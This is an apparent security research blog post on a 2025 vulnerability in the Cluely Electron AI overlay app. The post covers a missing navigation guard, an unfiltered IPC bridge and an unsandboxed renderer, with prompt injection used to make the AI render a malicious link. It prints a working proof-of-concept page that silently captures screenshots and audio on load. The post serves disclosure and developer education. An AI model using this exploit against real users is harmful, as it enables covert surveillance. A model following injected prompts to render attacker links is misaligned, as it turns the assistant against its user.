Turning Cluely Into Malware

www.hacktron.ai · 2026-10-02 · by Long Nguyen ·generic
How we found a vulnerability in Cluely's Electron app that let any website silently capture screenshots, record audio, and exfiltrate everything - all because of a missing will-navigate handler.

Turning Cluely Into Malware

Note

We found this vulnerability back in July 2025 and were lazy to publish at the time. We’re sharing it now, months later, purely as an educational resource for developers building Electron-based AI agents. Everything in this post is based on our analysis of Cluely as it existed back then. We have not been following Cluely’s development since, and for all we know they may have significantly improved their security posture and practices.

In continuation of our series on Hacking AI Agents, we are back again, this time looking at Cluely, the AI-powered assistant that watches your screen, listens to your mic, and helps you ace interviews, meetings, and more.

AI agents are everywhere now, writing code, watching your screen, listening to your mic. They have deep access to your machine by design. But that same access makes them a juicy target. What if someone could turn that helpful AI agent against you?

Today we’re walking through a vulnerability we found in Cluely back in mid-2025, and showing what can go wrong when Electron apps with deep system access don’t get the security basics right. We have a long history with Electron security, a few years back we published research at DEF CON 30 that let us pwn almost every major Electron app at the time, including Discord.

What is Cluely?

Cluely is an Electron-based desktop app that acts as an AI overlay on your screen. It captures your screen and microphone audio to provide real-time AI assistance during interviews, meetings, and more. The app is designed to be undetectable, it hides from screen sharing, mission control, and taskbar visibility.

Under the hood it’s a standard Electron app with a React frontend, using `react-markdown` to render AI responses and `@deepgram/sdk` for real-time transcription.

The Attack Surface

Since Cluely is an Electron app with access to your screen and microphone by design, the security stakes are high. If an attacker can execute code within the Electron renderer process, they inherit all of those capabilities. Let’s walk through the vulnerability chain.

Step 1: No Navigation Guard on the Main Window

Cluely uses `react-markdown` to render the AI’s responses. There’s no obvious XSS, the markdown renderer sanitizes output properly. But links still get rendered as clickable `<a>` tags, and here’s where it gets interesting.

Electron apps are supposed to handle navigation events with a `will-navigate` handler to prevent the renderer from navigating to arbitrary URLs. Looking at the Cluely source, we can see that the `DisplayOverlay` class does have this protection:

1// DisplayOverlay class - has will-navigate protection2this.window.webContents.on('will-navigate', (a) => {3  a.preventDefault()4})5this.window.webContents.setWindowOpenHandler(() => ({ action: 'deny' }))

But the main window, the one that actually renders AI responses with clickable links, has no such protection. Looking at the base `Window` class:

1class de {2  constructor(e, n) {3    this.window = new BrowserWindow(4      e || {5        // ... window options ...6        webPreferences: {7          preload: join(P, '../preload/index.cjs'),8        },9      },10    )11
12    // setWindowOpenHandler is set - new windows are denied and opened externally13    this.window.webContents.setWindowOpenHandler((o) => {14      try {15        const s = new URL(o.url)16        ;(s.protocol === 'https:' || (m && s.protocol === 'http:')) &&17          shell.openExternal(o.url)18      } catch (s) {19        console.error(`error trying to open url ${o.url}`, s)20      }21      return { action: 'deny' }22    })23
24    // But NO will-navigate handler!25    // Clicking a link in the rendered markdown navigates the ENTIRE app26  }27}

So when a user clicks any link rendered in the AI’s markdown response, instead of opening it in the system browser, it navigates the entire Electron app to that URL. The malicious page now loads directly inside Cluely’s renderer process.

Step 2: Juicy IPC Exposed via Preload

So we went hunting for what we could do from the renderer. Turns out there’s some juicy IPC exposed.

The preload script exposes the Electron IPC interface directly to the renderer:

1const c = {2  ipcRenderer: {3    send(e, ...r) {4      n.ipcRenderer.send(e, ...r)5    },6    invoke(e, ...r) {7      return n.ipcRenderer.invoke(e, ...r)8    },9    on(e, r) {10      n.ipcRenderer.on(e, (t, ...o) => {11        r(null, ...o)12      })13    },14  },15  process: {16    platform: process.platform,17    env: { NODE_ENV: process.env.NODE_ENV },18  },19}20contextBridge.exposeInMainWorld('electron', c)

What we are looking at is a wide-open IPC bridge. There’s no allowlist filtering on channel names. Any page loaded in the renderer can call `window.electron.ipcRenderer.send()` or `window.electron.ipcRenderer.invoke()` with any channel name.

Now look at what IPC handlers the main process registers:

1// Capture a screenshot of the user's entire screen2R('capture-screenshot', async () => {3  const { contentType: e, data: n } = await captureScreen()4  return { contentType: e, data: n }5})6
7// Enable native screen/audio recording8i('mac-set-native-recorder-enabled', (e, { enabled: n, useV2: o }) => {9  n ? startRecording(t, o ?? false) : stopRecording()10})11
12// Enable microphone monitoring13i('mac-set-mic-monitor-enabled', (e, { enabled: n }) => {14  n ? startMicMonitor(t) : stopMicMonitor()15})

This means from the malicious page now running inside the renderer, we can silently:

1. Capture screenshots of the victim’s entire screen 2. Record audio from the native recorder (screen audio) 3. Monitor the microphone, capturing everything the user says

And exfiltrate all of it to our server.

Step 3: Sandbox Disabled -> RCE

But it gets worse. Looking at the `webPreferences`, there’s no `sandbox: true`:

1webPreferences: {2  preload: join(P, '../preload/index.cjs')3  // no sandbox: true — the renderer is unsandboxed4}

Now this is bad, without the sandbox, the renderer runs outside the Chromium sandbox, which means a V8 exploit in the renderer leads straight to full remote code execution on the victim’s machine. We’re not going to walk through that exploit chain in this post, but we did exactly this on Discord. You can read the full writeup here: Remote Code Execution on Discord Desktop.

The Discord RCE video shows a full reverse shell popping from inside an Electron app, the same attack would work on Cluely:

So the missing `will-navigate` handler leads to screen and audio leaks with an easy path and then a full RCE via v8 exploit.

Prompt Injection as the Entry Point

Now to actually exploit this, we need to get a malicious link rendered on the user’s Cluely window while they’re in a meeting. There are many ways to pull this off, indirect prompt injection being one of them. For example, consider a scenario where the user is using Cluely during an interview. The interviewer’s task or question contains a crafted prompt injection that causes the AI to render a link:

1Click here to view the task requirements

The AI renders this as a clickable link in its markdown response. The user clicks it, thinking it’s part of the task. The link navigates the entire Cluely app to our malicious page, and the exploit fires automatically.

The Exploit

Here’s the PoC video before we dive into the code:

Here’s the proof of concept that runs inside Cluely after navigation. On page load it silently takes a screenshot and records 10 seconds of audio:

1<!DOCTYPE html>2<html>3  <head>4    <title>Cluely Testing</title>5    <style>6      body {7        font-family: sans-serif;8        padding: 20px;9        background-color: transparent;10        color: #333;11        text-align: center;12      }13      h1 {14        color: red;15        font-size: 48px;16      }17      img#bustedImage {18        max-width: 100%;19        height: auto;20        display: block;21        margin: 20px auto;22      }23      #status {24        margin-top: 20px;25        font-style: italic;26        color: #666;27      }28      #results {29        display: flex;30        justify-content: space-around;31        align-items: flex-start;32        margin-top: 20px;33        border: 1px solid #ccc;34        padding: 10px;35        background-color: white;36      }37      .media-column {38        width: 48%;39        text-align: center;40      }41      .media-column h2 {42        font-size: 18px;43      }44      img,45      video {46        max-width: 100%;47        height: auto;48        display: block;49        margin-top: 10px;50        margin-left: auto;51        margin-right: auto;52      }53    </style>54  </head>55  <body>56    <h1>u are busted</h1>57    <img id="bustedImage" src="busted.jpg" alt="Busted!" />58
59    <div id="status"></div>60    <div id="results">61      <div class="media-column">62        <h2>Screenshot:</h2>63        <div id="screenshotResult"></div>64      </div>65      <div class="media-column">66        <h2>Recording:</h2>67        <div id="audioResult"></div>68      </div>69    </div>70
71    <script>72      const statusDiv = document.getElementById('status')73      const screenshotResultDiv = document.getElementById('screenshotResult')74      const audioResultDiv = document.getElementById('audioResult')75
76      /*77        Converts a base64 string to an ArrayBuffer.78       */79      function base64ToArrayBuffer(base64) {80        const binaryString = window.atob(base64)81        const len = binaryString.length82        const bytes = new Uint8Array(len)83        for (let i = 0; i < len; i++) {84          bytes[i] = binaryString.charCodeAt(i)85        }86        return bytes.buffer87      }88
89      /*90        Encodes raw PCM audio data into a WAV file format (as a Blob).91       /92      function encodeWAV(pcmData, sampleRate, numChannels, bitsPerSample) {93        const dataSize = pcmData.byteLength94        const blockAlign = (numChannels  bitsPerSample) >> 395        const byteRate = sampleRate * blockAlign96
97        const buffer = new ArrayBuffer(44 + dataSize)98        const view = new DataView(buffer)99
100        function writeString(view, offset, string) {101          for (let i = 0; i < string.length; i++) {102            view.setUint8(offset + i, string.charCodeAt(i))103          }104        }105
106        // RIFF chunk descriptor107        writeString(view, 0, 'RIFF')108        view.setUint32(4, 36 + dataSize, true) // little-endian109        writeString(view, 8, 'WAVE')110        // "fmt " sub-chunk111        writeString(view, 12, 'fmt ')112        view.setUint32(16, 16, true) // 16 for PCM113        view.setUint16(20, 1, true) // 1 for PCM114        view.setUint16(22, numChannels, true)115        view.setUint32(24, sampleRate, true)116        view.setUint32(28, byteRate, true)117        view.setUint16(32, blockAlign, true)118        view.setUint16(34, bitsPerSample, true)119        // "data" sub-chunk120        writeString(view, 36, 'data')121        view.setUint32(40, dataSize, true)122
123        const pcmBytes = new Uint8Array(pcmData)124        const wavBytes = new Uint8Array(buffer)125        wavBytes.set(pcmBytes, 44)126
127        return new Blob([view], { type: 'audio/wav' })128      }129
130      // Screenshot131      const takeScreenshot = async () => {132        try {133          statusDiv.textContent = 'Taking screenshot...'134          const { contentType, data } =135            await window.electron.ipcRenderer.invoke('capture-screenshot')136          const blob = new Blob([data], { type: contentType })137          const imageUrl = URL.createObjectURL(blob)138          const img = document.createElement('img')139          img.src = imageUrl140          img.onload = () => URL.revokeObjectURL(imageUrl)141          screenshotResultDiv.appendChild(img)142          statusDiv.textContent = 'Screenshot taken successfully.'143        } catch (error) {144          console.error('Error taking screenshot:', error)145          screenshotResultDiv.textContent =146            'Error taking screenshot: ' + error.message147        }148      }149
150      // Recording151      const recordAudio = () => {152        console.log('[Debug] recordAudio called')153        let recordedBase64 = ''154        const recordDuration = 10000 // 10 seconds155
156        statusDiv.textContent += ` | Recording for ${recordDuration / 1000} seconds and sending to server...`157
158        const handleData = (event, { base64Data }) => {159          console.log(160            `[Debug] Received mac-native-recorder-data chunk of length: ${base64Data.length}`,161          )162          recordedBase64 += base64Data163        }164
165        console.log('[Debug] Setting up listener for mac-native-recorder-data')166        window.electron.ipcRenderer.on('mac-native-recorder-data', handleData)167
168        console.log('[Debug] Sending mac-set-native-recorder-enabled: true')169        window.electron.ipcRenderer.send('mac-set-native-recorder-enabled', {170          enabled: true,171        })172
173        setTimeout(() => {174          console.log('[Debug] Timeout reached. Disabling recorder.')175          console.log('[Debug] Sending mac-set-native-recorder-enabled: false')176          window.electron.ipcRenderer.send('mac-set-native-recorder-enabled', {177            enabled: false,178          })179
180          console.log('[Debug] Removing listener for mac-native-recorder-data')181          window.electron.ipcRenderer.removeListener(182            'mac-native-recorder-data',183            handleData,184          )185
186          statusDiv.textContent = 'Recording finished. Preparing audio...'187          console.log(188            `[Debug] Total recorded base64 length: ${recordedBase64.length}`,189          )190
191          if (recordedBase64) {192            try {193              console.log(194                '[Debug] recordedBase64 is not empty. Creating audio element.',195              )196              const pcmData = base64ToArrayBuffer(recordedBase64)197              const wavBlob = encodeWAV(pcmData, 24000, 1, 16)198              const audioUrl = URL.createObjectURL(wavBlob)199
200              const audio = document.createElement('audio')201              audio.src = audioUrl202              audio.controls = true203              audio.autoplay = true204
205              audioResultDiv.innerHTML = ''206              audioResultDiv.appendChild(audio)207              statusDiv.textContent += ' | Audio is ready to play.'208
209              audio.addEventListener('error', (e) => {210                console.error('[Debug] Audio playback error:', e)211                audioResultDiv.textContent =212                  'Error playing audio. Check console for details.'213              })214              audioResultDiv.scrollIntoView({ behavior: 'smooth' })215            } catch (error) {216              console.error('[Debug] Error processing audio data:', error)217              audioResultDiv.textContent = 'Failed to process audio data.'218            }219          } else {220            console.log('[Debug] recordedBase64 is empty.')221            audioResultDiv.textContent =222              'No audio data was received. The recorder might not be supported on your system.'223          }224        }, recordDuration)225      }226
227      // Automatically take screenshot and record on page load228      ;(async () => {229        await takeScreenshot()230        recordAudio()231      })()232    </script>233  </body>234</html>

When this page loads inside Cluely, the `window.electron.ipcRenderer` bridge is available. The exploit invokes `capture-screenshot` to grab a screenshot and sends `mac-set-native-recorder-enabled` to start recording audio. The attacker gets a screenshot of the victim’s desktop and a recording of everything being said, all without any user prompt or permission dialog.

The Impact

Any Cluely user was vulnerable. If an attacker could get the AI to render a malicious link (via prompt injection or social engineering), and the user clicked it, the attacker could:

  • Full Remote Code Execution: the unsandboxed renderer means a V8 exploit gives the attacker a shell on the victim’s machine, exactly like our Discord RCE. Install backdoors, exfiltrate files, persist across reboots, everything.
  • Capture screenshots of the victim’s entire screen, including sensitive documents, credentials, and private conversations
  • Record audio from the system recorder, capturing meeting discussions, interviews, and ambient conversations
  • Monitor the microphone, turning Cluely into a silent surveillance tool

And even without going the V8 exploit route, the exposed IPC bridge already gives you the screen and mic for free.

The irony: an app designed to help you cheat undetectably could be turned into actual malware that spies on you, or owns your entire machine, undetectably.

The Root Causes

There are three compounding issues:

1. Missing `will-navigate` handler: The main window allows in-app navigation to arbitrary URLs. The fix is one line: intercept the `will-navigate` event and either block it or open the URL in the system browser. 2. Overly permissive IPC bridge: The preload script exposes `send`, `invoke`, and `on` without any channel filtering. Any page loaded in the renderer can call any IPC handler. The preload should use an allowlist of channels that the renderer legitimately needs. 3. No sandbox = RCE: The renderer process runs without a sandbox. Combined with the missing `will-navigate`, this is a direct path to full remote code execution via a V8 exploit, the same attack class we used on Discord. This elevates the vulnerability from a data leak to a complete system compromise.

Disclosure & Timeline

We discovered this in July 2025. At the time, Cluely didn’t have a vulnerability disclosure program. We tried reaching out through multiple channels and eventually made contact. The issue was silently patched, no acknowledgment, no credit.

Credits and acknowledgements aside, who cares. But, for all the AI startups out there: have a vulnerability disclosure program. Let researchers report bugs to you. Treat them with recognition and good faith. That’s really all it takes.

For everyone else: there are a lot of AI startups building agents that have deep access to your machine, your screen, your mic, your files, your clipboard. Maybe don’t install random shit. We previously hacked Windsurf, Perplexity Comet, OpenAI Atlas, and Google’s Antigravity.

So don’t be surprised if you find an email from us in your inbox at some point.

About Us

Our security research team is world-class: top-ranked CTF competitors, DEF CON-published researchers, and leading bug bounty hunters. We’ve hacked browsers, operating systems, mobile apps, desktop software, and massive web platforms.

Chances are, you’ve used something we’ve helped make more secure.

We’re now channeling that expertise into Hacktron: AI agents and us working together to bring that real offensive capability into every stage of the software lifecycle.

If you’re looking to secure your agentic applications, we can help. We’ve hacked Cluely, Cursor, Windsurf, Perplexity Comet, OpenAI Atlas, and Google’s Antigravity, and many more. We work closely with teams to secure agentic systems before attackers find what we find.

Meet our team at hacktron.ai. Reach out at hello@hacktron.ai or app.hacktron.ai/contact.

Hacktron finds and fixes real security vulnerabilities before they ship to production.

Start for freeStart for freeBook a demoBook a demo

www.hacktron.ai · 6 images · 43 links

Comments (0)

No comments yet